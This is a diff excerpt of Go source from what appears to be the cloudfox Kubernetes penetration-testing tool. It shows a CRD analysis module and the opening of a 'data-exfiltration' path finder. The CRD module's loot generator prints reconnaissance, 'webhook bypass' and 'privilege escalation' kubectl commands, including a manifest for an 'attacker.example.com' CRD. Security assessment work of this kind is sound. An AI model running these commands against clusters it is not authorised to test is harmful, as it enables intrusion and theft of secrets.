rbacEntries := analyzeCRDRBAC(ctx, clientset, crdGroups)
|
||||
|
||||
// Webhook analysis
|
||||
logger.InfoM("Analyzing webhooks for CRD groups...", globals.K8S_CRDS_MODULE_NAME)
|
||||
webhookEntries := analyzeCRDWebhooks(ctx, clientset, crdGroups)
|
||||
|
||||
// Build loot — only CRD-Commands (RBAC and Interesting are covered by tables)
|
||||
loot := shared.NewLootBuilder()
|
||||
loot.Section("CRD-Commands").Add(generateCRDCommands(crdAnalyses))
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Build tables
|
||||
var tables []internal.TableFile
|
||||
|
||||
// Always show: main CRDs table and Interesting CRDs
|
||||
tables = append(tables, generateCRDTable(crdAnalyses))
|
||||
if len(interestingCRDs) > 0 {
|
||||
tables = append(tables, generateInterestingCRDTable(interestingCRDs))
|
||||
}
|
||||
|
||||
// Detailed: RBAC, webhooks, per-namespace resources
|
||||
if detailed {
|
||||
if len(rbacEntries) > 0 {
|
||||
tables = append(tables, generateCRDRBACTable(rbacEntries))
|
||||
}
|
||||
if len(webhookEntries) > 0 {
|
||||
tables = append(tables, generateCRDWebhookTable(webhookEntries))
|
||||
}
|
||||
if len(resourceInfos) > 0 {
|
||||
tables = append(tables, generateCRDResourceTable(resourceInfos))
|
||||
}
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"CRDs",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
CRDsOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_CRDS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary logging
|
||||
if len(crdItems) > 0 {
|
||||
noValidationCount := 0
|
||||
clusterScopedCount := 0
|
||||
webhooksCount := 0
|
||||
|
||||
for _, analysis := range crdAnalyses {
|
||||
if !analysis.HasValidation {
|
||||
noValidationCount++
|
||||
}
|
||||
if !analysis.Namespaced {
|
||||
clusterScopedCount++
|
||||
}
|
||||
if analysis.HasConversionWebhook {
|
||||
webhooksCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("%d CRDs analyzed | Interesting: %d | No Validation: %d | Cluster-Scoped: %d | Conversion Webhooks: %d | RBAC Entries: %d | Admission Webhooks: %d",
|
||||
len(crdItems), len(interestingCRDs), noValidationCount, clusterScopedCount, webhooksCount, len(rbacEntries), len(webhookEntries)),
|
||||
globals.K8S_CRDS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No CRDs found", globals.K8S_CRDS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func analyzeCRD(crd *apiextensionsv1.CustomResourceDefinition) CRDAnalysis {
|
||||
analysis := CRDAnalysis{
|
||||
Name: crd.Name,
|
||||
Group: crd.Spec.Group,
|
||||
Kind: crd.Spec.Names.Kind,
|
||||
Plural: crd.Spec.Names.Plural,
|
||||
Scope: string(crd.Spec.Scope),
|
||||
Categories: crd.Spec.Names.Categories,
|
||||
ShortNames: crd.Spec.Names.ShortNames,
|
||||
Namespaced: crd.Spec.Scope == apiextensionsv1.NamespaceScoped,
|
||||
}
|
||||
|
||||
for _, ver := range crd.Spec.Versions {
|
||||
analysis.Versions = append(analysis.Versions, ver.Name)
|
||||
if ver.Served && ver.Storage {
|
||||
analysis.LatestVersion = ver.Name
|
||||
}
|
||||
if ver.Schema != nil && ver.Schema.OpenAPIV3Schema != nil {
|
||||
analysis.HasValidation = true
|
||||
}
|
||||
if ver.Deprecated {
|
||||
analysis.DeprecatedVersions = append(analysis.DeprecatedVersions, ver.Name)
|
||||
}
|
||||
if ver.Subresources != nil {
|
||||
if ver.Subresources.Status != nil {
|
||||
analysis.HasStatus = true
|
||||
}
|
||||
if ver.Subresources.Scale != nil {
|
||||
analysis.HasScale = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
analysis.StoredVersions = crd.Status.StoredVersions
|
||||
|
||||
if crd.Spec.Conversion != nil {
|
||||
analysis.ConversionStrategy = string(crd.Spec.Conversion.Strategy)
|
||||
if crd.Spec.Conversion.Strategy == apiextensionsv1.WebhookConverter {
|
||||
analysis.HasConversionWebhook = true
|
||||
}
|
||||
}
|
||||
|
||||
return analysis
|
||||
}
|
||||
|
||||
// enumerateCRDResources fetches actual instances of each CRD
|
||||
func enumerateCRDResources(ctx context.Context, dynClient dynamic.Interface, analyses []CRDAnalysis) []CRDResourceInfo {
|
||||
var results []CRDResourceInfo
|
||||
|
||||
for _, crd := range analyses {
|
||||
if crd.LatestVersion == "" || crd.Plural == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
gvr := schema.GroupVersionResource{
|
||||
Group: crd.Group,
|
||||
Version: crd.LatestVersion,
|
||||
Resource: crd.Plural,
|
||||
}
|
||||
|
||||
list, err := dynClient.Resource(gvr).Namespace("").List(ctx, metav1.ListOptions{})
|
||||
if err != nil || len(list.Items) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, item := range list.Items {
|
||||
ns := item.GetNamespace()
|
||||
if ns == "" {
|
||||
ns = "(cluster-scoped)"
|
||||
}
|
||||
|
||||
// Format labels
|
||||
labels := item.GetLabels()
|
||||
var labelParts []string
|
||||
for k, v := range labels {
|
||||
labelParts = append(labelParts, fmt.Sprintf("%s=%s", k, v))
|
||||
}
|
||||
labelsStr := "-"
|
||||
if len(labelParts) > 0 {
|
||||
sort.Strings(labelParts)
|
||||
labelsStr = strings.Join(labelParts, ", ")
|
||||
}
|
||||
|
||||
createdAt := "-"
|
||||
if t := item.GetCreationTimestamp(); !t.IsZero() {
|
||||
createdAt = t.Format("2006-01-02 15:04")
|
||||
}
|
||||
|
||||
results = append(results, CRDResourceInfo{
|
||||
CRDName: crd.Name,
|
||||
Group: crd.Group,
|
||||
Kind: crd.Kind,
|
||||
Resource: crd.Plural,
|
||||
Namespace: ns,
|
||||
ResourceName: item.GetName(),
|
||||
Labels: labelsStr,
|
||||
CreatedAt: createdAt,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// identifyInterestingCRDs categorizes security-relevant CRDs
|
||||
func identifyInterestingCRDs(analyses []CRDAnalysis) []InterestingCRD {
|
||||
var results []InterestingCRD
|
||||
|
||||
for _, crd := range analyses {
|
||||
groupLower := strings.ToLower(crd.Group)
|
||||
for category, patterns := range interestingGroupPatterns {
|
||||
for _, pattern := range patterns {
|
||||
if strings.Contains(groupLower, pattern) {
|
||||
why := fmt.Sprintf("Group matches: %s", pattern)
|
||||
if !crd.HasValidation {
|
||||
why += ", no validation"
|
||||
}
|
||||
if !crd.Namespaced {
|
||||
why += ", cluster-scoped"
|
||||
}
|
||||
results = append(results, InterestingCRD{
|
||||
Name: crd.Name,
|
||||
Group: crd.Group,
|
||||
Kind: crd.Kind,
|
||||
Category: category,
|
||||
Why: why,
|
||||
Resources: crd.ResourceCount,
|
||||
})
|
||||
break // one category per CRD
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sort.Slice(results, func(i, j int) bool {
|
||||
if results[i].Category != results[j].Category {
|
||||
return results[i].Category < results[j].Category
|
||||
}
|
||||
return results[i].Name < results[j].Name
|
||||
})
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// analyzeCRDRBAC finds RBAC entries that grant access to CRD API groups
|
||||
func analyzeCRDRBAC(ctx context.Context, clientset *kubernetes.Clientset, crdGroups map[string]bool) []CRDRBACEntry {
|
||||
var results []CRDRBACEntry
|
||||
|
||||
clusterRoles, err := sdk.GetClusterRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
clusterRoleBindings, err := sdk.GetClusterRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
roles, err := sdk.GetRoles(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
roleBindings, err := sdk.GetRoleBindings(ctx, clientset)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
|
||||
// Build role lookup maps
|
||||
crMap := make(map[string]*rbacv1.ClusterRole)
|
||||
for i := range clusterRoles {
|
||||
crMap[clusterRoles[i].Name] = &clusterRoles[i]
|
||||
}
|
||||
rMap := make(map[string]*rbacv1.Role)
|
||||
for i := range roles {
|
||||
key := roles[i].Namespace + "/" + roles[i].Name
|
||||
rMap[key] = &roles[i]
|
||||
}
|
||||
|
||||
// Check ClusterRoleBindings
|
||||
for _, crb := range clusterRoleBindings {
|
||||
cr, ok := crMap[crb.RoleRef.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
entries := extractCRDRBACFromRules(cr.Rules, crdGroups, crb.Subjects, crb.RoleRef.Name, "Cluster", "")
|
||||
results = append(results, entries...)
|
||||
}
|
||||
|
||||
// Check RoleBindings
|
||||
for _, rb := range roleBindings {
|
||||
var rules []rbacv1.PolicyRule
|
||||
if rb.RoleRef.Kind == "ClusterRole" {
|
||||
if cr, ok := crMap[rb.RoleRef.Name]; ok {
|
||||
rules = cr.Rules
|
||||
}
|
||||
} else {
|
||||
key := rb.Namespace + "/" + rb.RoleRef.Name
|
||||
if r, ok := rMap[key]; ok {
|
||||
rules = r.Rules
|
||||
}
|
||||
}
|
||||
if len(rules) == 0 {
|
||||
continue
|
||||
}
|
||||
entries := extractCRDRBACFromRules(rules, crdGroups, rb.Subjects, rb.RoleRef.Name, "Namespace", rb.Namespace)
|
||||
results = append(results, entries...)
|
||||
}
|
||||
|
||||
sort.Slice(results, func(i, j int) bool {
|
||||
if results[i].CRDGroup != results[j].CRDGroup {
|
||||
return results[i].CRDGroup < results[j].CRDGroup
|
||||
}
|
||||
return results[i].SubjectName < results[j].SubjectName
|
||||
})
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func extractCRDRBACFromRules(rules []rbacv1.PolicyRule, crdGroups map[string]bool, subjects []rbacv1.Subject, roleName, scope, namespace string) []CRDRBACEntry {
|
||||
var results []CRDRBACEntry
|
||||
|
||||
for _, rule := range rules {
|
||||
for _, apiGroup := range rule.APIGroups {
|
||||
if !crdGroups[apiGroup] && apiGroup != "*" {
|
||||
continue
|
||||
}
|
||||
// This rule covers a CRD group (or wildcard)
|
||||
matchedGroup := apiGroup
|
||||
if apiGroup == "*" {
|
||||
matchedGroup = "(all groups)"
|
||||
}
|
||||
resources := strings.Join(rule.Resources, ",")
|
||||
if len(rule.Resources) == 0 {
|
||||
resources = "*"
|
||||
}
|
||||
verbs := strings.Join(rule.Verbs, ",")
|
||||
|
||||
for _, subj := range subjects {
|
||||
results = append(results, CRDRBACEntry{
|
||||
CRDGroup: matchedGroup,
|
||||
Resource: resources,
|
||||
SubjectKind: subj.Kind,
|
||||
SubjectName: subj.Name,
|
||||
Namespace: namespace,
|
||||
Verbs: verbs,
|
||||
Scope: scope,
|
||||
RoleName: roleName,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// analyzeCRDWebhooks finds webhooks that cover CRD API groups
|
||||
func analyzeCRDWebhooks(ctx context.Context, clientset *kubernetes.Clientset, crdGroups map[string]bool) []CRDWebhookEntry {
|
||||
var results []CRDWebhookEntry
|
||||
|
||||
validating, err := clientset.AdmissionregistrationV1().ValidatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, vwc := range validating.Items {
|
||||
for _, wh := range vwc.Webhooks {
|
||||
fp := "Unknown"
|
||||
if wh.FailurePolicy != nil {
|
||||
fp = string(*wh.FailurePolicy)
|
||||
}
|
||||
svc := webhookClientConfigStr(wh.ClientConfig)
|
||||
for _, rule := range wh.Rules {
|
||||
entries := extractWebhookCRDEntries(rule.APIGroups, rule.Operations, crdGroups, vwc.Name, "Validating", fp, svc)
|
||||
results = append(results, entries...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
mutating, err := clientset.AdmissionregistrationV1().MutatingWebhookConfigurations().List(ctx, metav1.ListOptions{})
|
||||
if err == nil {
|
||||
for _, mwc := range mutating.Items {
|
||||
for _, wh := range mwc.Webhooks {
|
||||
fp := "Unknown"
|
||||
if wh.FailurePolicy != nil {
|
||||
fp = string(*wh.FailurePolicy)
|
||||
}
|
||||
svc := webhookClientConfigStr(wh.ClientConfig)
|
||||
for _, rule := range wh.Rules {
|
||||
entries := extractWebhookCRDEntries(rule.APIGroups, rule.Operations, crdGroups, mwc.Name, "Mutating", fp, svc)
|
||||
results = append(results, entries...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func extractWebhookCRDEntries(apiGroups []string, operations []admissionregv1.OperationType, crdGroups map[string]bool, webhookName, whType, failurePolicy, service string) []CRDWebhookEntry {
|
||||
var results []CRDWebhookEntry
|
||||
|
||||
for _, apiGroup := range apiGroups {
|
||||
if !crdGroups[apiGroup] && apiGroup != "*" {
|
||||
continue
|
||||
}
|
||||
matchedGroup := apiGroup
|
||||
if apiGroup == "*" {
|
||||
matchedGroup = "(all groups)"
|
||||
}
|
||||
ops := make([]string, len(operations))
|
||||
for i, op := range operations {
|
||||
ops[i] = string(op)
|
||||
}
|
||||
results = append(results, CRDWebhookEntry{
|
||||
CRDGroup: matchedGroup,
|
||||
WebhookName: webhookName,
|
||||
Type: whType,
|
||||
FailurePolicy: failurePolicy,
|
||||
Operations: strings.Join(ops, ","),
|
||||
Service: service,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func webhookClientConfigStr(cc admissionregv1.WebhookClientConfig) string {
|
||||
if cc.Service != nil {
|
||||
return fmt.Sprintf("%s/%s", cc.Service.Namespace, cc.Service.Name)
|
||||
}
|
||||
if cc.URL != nil {
|
||||
return *cc.URL
|
||||
}
|
||||
return "-"
|
||||
}
|
||||
|
||||
// Table generators
|
||||
|
||||
func generateCRDTable(analyses []CRDAnalysis) internal.TableFile {
|
||||
header := []string{"Name", "Group", "Kind", "Scope", "Versions", "Validation", "Conv. Webhook", "Resources"}
|
||||
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].Name < analyses[j].Name
|
||||
})
|
||||
|
||||
var rows [][]string
|
||||
for _, crd := range analyses {
|
||||
versionsStr := strings.Join(crd.Versions, ",")
|
||||
if len(versionsStr) > 20 {
|
||||
versionsStr = versionsStr[:17] + "..."
|
||||
}
|
||||
|
||||
rows = append(rows, []string{
|
||||
truncateStr(crd.Name, 50),
|
||||
crd.Group,
|
||||
crd.Kind,
|
||||
crd.Scope,
|
||||
versionsStr,
|
||||
shared.FormatBool(crd.HasValidation),
|
||||
shared.FormatBool(crd.HasConversionWebhook),
|
||||
fmt.Sprintf("%d", crd.ResourceCount),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRDs",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateInterestingCRDTable(crds []InterestingCRD) internal.TableFile {
|
||||
header := []string{"Name", "Group", "Kind", "Category", "Why", "Resources"}
|
||||
var rows [][]string
|
||||
|
||||
for _, crd := range crds {
|
||||
rows = append(rows, []string{
|
||||
truncateStr(crd.Name, 50),
|
||||
crd.Group,
|
||||
crd.Kind,
|
||||
crd.Category,
|
||||
crd.Why,
|
||||
fmt.Sprintf("%d", crd.Resources),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "Interesting-CRDs",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateCRDRBACTable(entries []CRDRBACEntry) internal.TableFile {
|
||||
header := []string{"Namespace", "CRD Group", "Resource", "Verbs", "Subject", "Subject Name", "Role", "Scope"}
|
||||
var rows [][]string
|
||||
|
||||
for _, e := range entries {
|
||||
ns := e.Namespace
|
||||
if ns == "" {
|
||||
ns = "(cluster)"
|
||||
}
|
||||
rows = append(rows, []string{
|
||||
ns,
|
||||
e.CRDGroup,
|
||||
e.Resource,
|
||||
e.Verbs,
|
||||
e.SubjectKind,
|
||||
e.SubjectName,
|
||||
e.RoleName,
|
||||
e.Scope,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRD-RBAC",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateCRDWebhookTable(entries []CRDWebhookEntry) internal.TableFile {
|
||||
header := []string{"CRD Group", "Webhook Name", "Type", "Service", "Operations", "Failure Policy"}
|
||||
var rows [][]string
|
||||
|
||||
for _, e := range entries {
|
||||
rows = append(rows, []string{
|
||||
e.CRDGroup,
|
||||
e.WebhookName,
|
||||
e.Type,
|
||||
e.Service,
|
||||
e.Operations,
|
||||
e.FailurePolicy,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRD-Webhooks",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateCRDResourceTable(infos []CRDResourceInfo) internal.TableFile {
|
||||
header := []string{"Namespace", "Kind", "Name", "Created", "Labels"}
|
||||
var rows [][]string
|
||||
|
||||
sort.Slice(infos, func(i, j int) bool {
|
||||
if infos[i].Namespace != infos[j].Namespace {
|
||||
return infos[i].Namespace < infos[j].Namespace
|
||||
}
|
||||
if infos[i].Kind != infos[j].Kind {
|
||||
return infos[i].Kind < infos[j].Kind
|
||||
}
|
||||
return infos[i].ResourceName < infos[j].ResourceName
|
||||
})
|
||||
|
||||
for _, ri := range infos {
|
||||
rows = append(rows, []string{
|
||||
ri.Namespace,
|
||||
ri.Kind,
|
||||
ri.ResourceName,
|
||||
ri.CreatedAt,
|
||||
ri.Labels,
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "CRD-Resources",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
// Loot generators
|
||||
|
||||
// generateCRDCommands creates enumeration and exploitation commands for CRDs
|
||||
func generateCRDCommands(analyses []CRDAnalysis) string {
|
||||
var lines []string
|
||||
|
||||
lines = append(lines, "═══════════════════════════════════════════════════════════════")
|
||||
lines = append(lines, " CRD ENUMERATION AND EXPLOITATION COMMANDS")
|
||||
lines = append(lines, "═══════════════════════════════════════════════════════════════")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Basic enumeration
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 1. ENUMERATION - List All CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "kubectl get crds")
|
||||
lines = append(lines, "kubectl get crds -o wide")
|
||||
lines = append(lines, "kubectl get crd <crd-name> -o yaml")
|
||||
lines = append(lines, "kubectl describe crd <crd-name>")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Find vulnerable CRDs
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 2. IDENTIFY VULNERABLE CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# CRDs without validation schema")
|
||||
lines = append(lines, "kubectl get crds -o json | jq -r '.items[] | select(.spec.versions[].schema == null or .spec.versions[].schema.openAPIV3Schema == null) | .metadata.name'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Cluster-scoped CRDs")
|
||||
lines = append(lines, "kubectl get crds -o json | jq -r '.items[] | select(.spec.scope == \"Cluster\") | .metadata.name'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# CRDs with conversion webhooks")
|
||||
lines = append(lines, "kubectl get crds -o json | jq -r '.items[] | select(.spec.conversion.strategy == \"Webhook\") | {name: .metadata.name, webhook: .spec.conversion.webhook}'")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Enumerate custom resources
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 3. ENUMERATE CUSTOM RESOURCES")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
if len(analyses) > 0 {
|
||||
for _, crd := range analyses {
|
||||
plural := crd.Plural
|
||||
if plural == "" {
|
||||
plural = strings.ToLower(crd.Kind) + "s"
|
||||
}
|
||||
if len(crd.ShortNames) > 0 {
|
||||
lines = append(lines, fmt.Sprintf("kubectl get %s -A # %s (shortname: %s)", plural, crd.Name, strings.Join(crd.ShortNames, ",")))
|
||||
} else {
|
||||
lines = append(lines, fmt.Sprintf("kubectl get %s -A # %s", plural, crd.Name))
|
||||
}
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
// RBAC analysis commands
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 4. RBAC ANALYSIS FOR CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "kubectl auth can-i list customresourcedefinitions")
|
||||
lines = append(lines, "kubectl auth can-i create customresourcedefinitions")
|
||||
lines = append(lines, "kubectl auth can-i delete customresourcedefinitions")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Find roles granting CRD access")
|
||||
lines = append(lines, "kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | contains(\"customresourcedefinitions\")) | .metadata.name'")
|
||||
lines = append(lines, "")
|
||||
|
||||
// No-validation exploitation
|
||||
noValidationCRDs := []CRDAnalysis{}
|
||||
for _, crd := range analyses {
|
||||
if !crd.HasValidation {
|
||||
noValidationCRDs = append(noValidationCRDs, crd)
|
||||
}
|
||||
}
|
||||
|
||||
if len(noValidationCRDs) > 0 {
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 5. NO-VALIDATION CRDs (INJECTION TARGETS)")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
for _, crd := range noValidationCRDs {
|
||||
lines = append(lines, fmt.Sprintf("# %s (Group: %s) - no validation", crd.Name, crd.Group))
|
||||
plural := crd.Plural
|
||||
if plural == "" {
|
||||
plural = strings.ToLower(crd.Kind) + "s"
|
||||
}
|
||||
lines = append(lines, fmt.Sprintf("kubectl get %s -A -o yaml", plural))
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
// Webhook bypass
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 6. WEBHOOK BYPASS")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Check conversion webhook config")
|
||||
lines = append(lines, "kubectl get crd <crd-name> -o jsonpath='{.spec.conversion}'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Find webhook service")
|
||||
lines = append(lines, "kubectl get crd <crd-name> -o json | jq '.spec.conversion.webhook.clientConfig'")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Privilege escalation
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 7. PRIVILEGE ESCALATION VIA CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "kubectl auth can-i create customresourcedefinitions")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# If you can create CRDs, create one without validation:")
|
||||
lines = append(lines, "cat <<EOF | kubectl apply -f -")
|
||||
lines = append(lines, "apiVersion: apiextensions.k8s.io/v1")
|
||||
lines = append(lines, "kind: CustomResourceDefinition")
|
||||
lines = append(lines, "metadata:")
|
||||
lines = append(lines, " name: exploits.attacker.example.com")
|
||||
lines = append(lines, "spec:")
|
||||
lines = append(lines, " group: attacker.example.com")
|
||||
lines = append(lines, " names:")
|
||||
lines = append(lines, " kind: Exploit")
|
||||
lines = append(lines, " plural: exploits")
|
||||
lines = append(lines, " scope: Namespaced")
|
||||
lines = append(lines, " versions:")
|
||||
lines = append(lines, " - name: v1")
|
||||
lines = append(lines, " served: true")
|
||||
lines = append(lines, " storage: true")
|
||||
lines = append(lines, " schema:")
|
||||
lines = append(lines, " openAPIV3Schema:")
|
||||
lines = append(lines, " type: object")
|
||||
lines = append(lines, " x-kubernetes-preserve-unknown-fields: true")
|
||||
lines = append(lines, "EOF")
|
||||
lines = append(lines, "")
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func truncateStr(s string, maxLen int) string {
|
||||
if len(s) <= maxLen {
|
||||
return s
|
||||
}
|
||||
return s[:maxLen-3] + "..."
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,735 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
attackpathservice "github.com/BishopFox/cloudfox/kubernetes/services/attackpathService"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var DataExfiltrationCmd = &cobra.Command{
|
||||
Use: "data-exfiltration",
|
||||
Aliases: []string{"exfil", "de", "data-exfil"},
|
||||
Short: "Identify data exfiltration paths in Kubernetes",
|
||||
Long: `Analyze Kubernetes RBAC and resources to identify data exfiltration opportunities.
|
||||
|
||||
This module examines permissions that allow reading sensitive data from the cluster
|
||||
that could be exfiltrated to external destinations.
|
||||
|
||||
Detected data exfiltration vectors include:
|
||||
|
||||
Secrets:
|
||||
- Read secrets (credentials, API keys, TLS certificates)
|
||||
- List secrets cluster-wide or namespace-scoped
|
||||
- Full wildcard access to secrets
|
||||
|
||||
ConfigMaps:
|
||||
- Read configmaps (often contain sensitive configuration)
|
||||
- List configmaps for sensitive data discovery
|
||||
|
||||
Logs:
|
||||
- Pod logs access (may contain sensitive data, credentials in error messages)
|
||||
|
||||
Data Extraction:
|
||||
- Pod exec (extract files and data from containers)
|
||||
- PersistentVolumeClaim access (access data volumes)
|
||||
|
||||
Token Exfiltration:
|
||||
- ServiceAccount token generation (for external use)
|
||||
|
||||
Custom Resources:
|
||||
- Read custom resources (may contain sensitive application data)
|
||||
|
||||
Usage:
|
||||
cloudfox kubernetes data-exfiltration`,
|
||||
Run: runDataExfiltrationCommand,
|
||||
}
|
||||
|
||||
type DataExfiltrationOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o DataExfiltrationOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o DataExfiltrationOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
type DataExfiltrationModule struct {
|
||||
// All paths from combined analysis
|
||||
AllPaths []attackpathservice.AttackPath
|
||||
ClusterPaths []attackpathservice.AttackPath
|
||||
NamespacePaths map[string][]attackpathservice.AttackPath
|
||||
Namespaces []string
|
||||
}
|
||||
|
||||
func runDataExfiltrationCommand(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
// Validate authentication first
|
||||
if err := sdk.ValidateAuth(ctx); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Authentication failed:\n%v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing data exfiltration paths for %s", globals.ClusterName), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
|
||||
// Initialize attack path service
|
||||
svc, err := attackpathservice.New()
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to initialize attack path service: %v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
svc.SetModuleName(globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
|
||||
// Run analysis
|
||||
result, err := svc.CombinedAnalysis(ctx, "exfil")
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to analyze data exfiltration: %v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
module := &DataExfiltrationModule{
|
||||
AllPaths: result.AllPaths,
|
||||
ClusterPaths: result.ClusterPaths,
|
||||
NamespacePaths: result.NamespacePaths,
|
||||
Namespaces: result.Namespaces,
|
||||
}
|
||||
|
||||
if len(module.AllPaths) == 0 {
|
||||
logger.InfoM("No data exfiltration paths found", globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by scope and risk
|
||||
clusterCount := len(module.ClusterPaths)
|
||||
namespaceCount := len(module.AllPaths) - clusterCount
|
||||
riskCounts := countExfilRiskLevels(module.AllPaths)
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d data exfiltration path(s): %d cluster-level, %d namespace-level",
|
||||
len(module.AllPaths), clusterCount, namespaceCount), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
logger.InfoM(fmt.Sprintf("Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
